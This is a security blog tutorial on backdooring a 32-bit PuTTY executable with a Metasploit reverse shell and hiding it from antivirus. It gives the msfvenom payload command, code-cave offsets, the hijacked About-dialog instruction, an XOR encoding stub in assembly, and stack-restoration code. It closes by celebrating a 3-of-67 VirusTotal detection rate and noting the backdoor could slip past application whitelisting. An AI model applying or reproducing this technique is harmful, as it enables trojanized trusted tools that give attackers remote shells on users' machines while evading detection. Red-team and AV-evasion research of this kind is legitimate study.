Thumbnail: logo

PE backdooring and antivirus evasion

by on under tutorials

Have you ever wondered how is possible to bypass Antivirus detection logics by making your PE undetectable?
Well, let’s give it a try! Even though similar concepts can be applied to any nIX operating systems, this tutorial is going to deal with Windows-only, as it’s still the most widely adopted OS today.

Generally, most antivirus software operates by detecting a well-known signature inside a binary. That signature is the result of the analysis performed by the malware researchers: after finding a series of malicious set of instructions, those instructions are then hashed, and the resulting unique hash is included in the next AV update.

Code Caves
Now, there are quite a few techniques that enable antivirus camouflage and most of them employ binary’s code caves. A code cave is nothing more then a sequence of unused null-bytes inside the original executable that we are going to take advantage of by injecting our own code. We are going to need two code caves: a quite small one, that we call CC1, which will contain the XOR stub, and a bigger one, CC2, that will fit the final shellcode, like a bind or reverse shell. Here is the high-level execution flow:

  • Hijack the PE execution flow to the XOR stub (CC1)
  • Execute the XOR stub (CC1) which, in turn, will encode the shellcode located at CC2.
  • Save the encoded CC2 section to disk as a new file.
  • Once loaded again, the newly saved file will execute the XOR stub which decodes the previously encoded shellcode.
  • The shellcode will now execute and at its termination will pass execution back to PE’s original code flow.

Here is the modified execution flow:

Pick your binary
To demonstrate this process, I decided to target one of the most popular software for net/sys admins: Putty. Unfortunately, the most recent Putty versions have been compiled to prevent almost any binary modification, so we need to carefully pick the right 32-bit version and fire up cave_miner, which will quickly find available caves. I have found the 0.52 release to be a suitable one.

We now seek the space required by the bigger candy, CC2, as will be easier to find a smaller cave for CC1. Let’s estimate the shellcode payload size (we go big, and aim for a full-fledged reverse shell.)

root@kali:~# msfvenom -p windows/shell_reverse_tcp LHOST= LPORT=8080 -a x86 --platform windows -f hex

No encoder or badchars specified, outputting raw payload
Payload size: 324 bytes
Final size of hex file: 648 bytes

So we need at least a 324-byte cave to fit it in.

root@kali:~# cave_miner search --size=343 putty.exe

   /    ||    \

[*] Starting cave mining process...
    Searching for bytes: 0x00...

[*] New cave detected !
  section_name: .data
  cave_begin:   0x00045cd5
  cave_end:     0x00046112
  cave_size:    0x0000043d
  vaddress:     0x00445cd5
  infos:        Readable, Writeable, Contain initialized data

[*] New cave detected !
  section_name: .data
  cave_begin:   0x0004c7e1
  cave_end:     0x0004ca10
  cave_size:    0x0000022f
  vaddress:     0x0044c7e1
  infos:        Readable, Writeable, Contain initialized data

[*] Mining finished.

We were lucky and won two 343-byte-long caves residing in the DATA section. This should provide room for the msfvenom payload, so we take note of the virtual address of the first cave at 0x00445CDE. Since we’ll need to write in the DATA section, we open the exe with LordPE and flag it as writable. The code cave appears to be large enough to fit both the fatty shellcode and the skinny XOR stub.

Say hi to jack
In order to be fully undercover, we have to pick a user-interactive instruction and not the default entry point. An easy way to do so is to dump all the ‘referenced strings’ with Immunity Debugger and pick up our favorite one. I have opted for the ‘Release’ string, which is embedded in a popup activated by the ‘About’ button.
Here is the original code:

00407223   > 68 808F4400    PUSH putty_ne.00448F80                   ; /Text = "Release 0.52"; Case 110 (WM_INITDIALOG) of switch 0040719B
00407228   . 68 EB030000    PUSH 3EB                                 ; |ControlID = 3EB (1003.)
0040722D   . FF75 08        PUSH DWORD PTR SS:[EBP+8]                ; |hWnd
00407230   . FF15 3CB34300  CALL DWORD PTR DS:[<&USER32.SetDlgItemTe>; \SetDlgItemTextA

We’ll be replacing the first instruction with a ‘JMP to [XOR STUB]’ and add it back at the end of the shellcode.

Enter XOR stub
As an encoder/decoder stub we could have used any stronger encryption algorithm like RC5 or AES. However, for the sake of simplicity we have decided to stick with basics, i.e., XOR, as it has a nice symmetric property. Once we XOR (encrypt) the content of a memory address with a key value, like 0x0E, we can then obtain its original value (decrypt) by reverse XORing it. Here is the XOR stub code:

MOV EAX, 0x00445CDE       ; Save shellcode first address in EAX
XOR BYTE PTR DS:[EAX],0E  ; XOR the contents of EAX with a key 0E
INC EAX                   ; Increase EAX
CMP EAX, 00445E36         ; Have we reached the last shellcode address?
JLE SHORT 00445E55        ; If not, jump back to XOR command
JMP 0x00445CDE            ; We are done! let's execute the shellcode

Paste in the shellcode
Let’s fire up Immunity Debugger and paste the shellcode inside the code cave we found earlier at 0x00445CDE. However, before rushing into that, we need to set the stage properly in order to restore the previous stack-frame once it has been altered by our shellcode.


Right before the shellcode, we add a couple of instructions, PUSHAD and PUSHFD.Then we execute those, and take note of ESP value right after the two instructions. Once the reverse shell has been executed we have to note again the value of ESP and then subtract it from the previous value. In my case:


which differs by 0x204

Here are the full extra instructions:

PUSHAD                  ; save registers values on the stack
PUSHFD                  ; save EFLAGS values on the stack
ADD ESP,204             ; align back the stack to pre-shellcode value
POPFD                   ; load EFLAGS values from the stack
POPAD                   ; load EFLAGS values from the stack
PUSH putty_ne.00448F80  ; restore hijacked instruction
JMP putty_ne.00407228   ; jump to next legitimate instruction


Note the NOP highlighted above which I have been added instead of the ‘DEC ESI’ instruction: this will prevent the shellcode from hanging while the WaitForSingleObject function is invoked.

Let’s encode!
We now want to create a new version of Putty, with an encoded and (hopefully) untraceable shellcode. Let’s try to achieve this by running the XOR stub until the last instruction, where we place a break point (JMP 00477857). We then execute the next instruction and jump into the encoded shellcode.


We then save it as a new file, which once loaded again will XOR decode/execute the reverse shell.

VirusTotal, Application Whitelisting and Certificates
Great, now we have a fully working backdoored version of Putty and we want to be sure about Virus Total detection ratio.


3 on 67: not bad at all! With this technique, we could potentially bypass application whitelisting as well as long the backdoored app is on the list. The only issue left is how to get rid of the ‘untrusted app’ warning banner that populates most OS today. These warning banners pop up because the backdoored app has no valid certificate.

But let’s keep this topic on hold until the next tutorial. Meanwhile…

On how to get valid certificates:
check this paper And how to automate the whole backdooring process with The Backdoor Factory:
get BDF

That’s all pholks!

AV evasion, endpoint protection, x86IA, AntiVirus, Security, infosec

© 2018 Matteo Malvica. Illustrations by Sergio Kalisiak.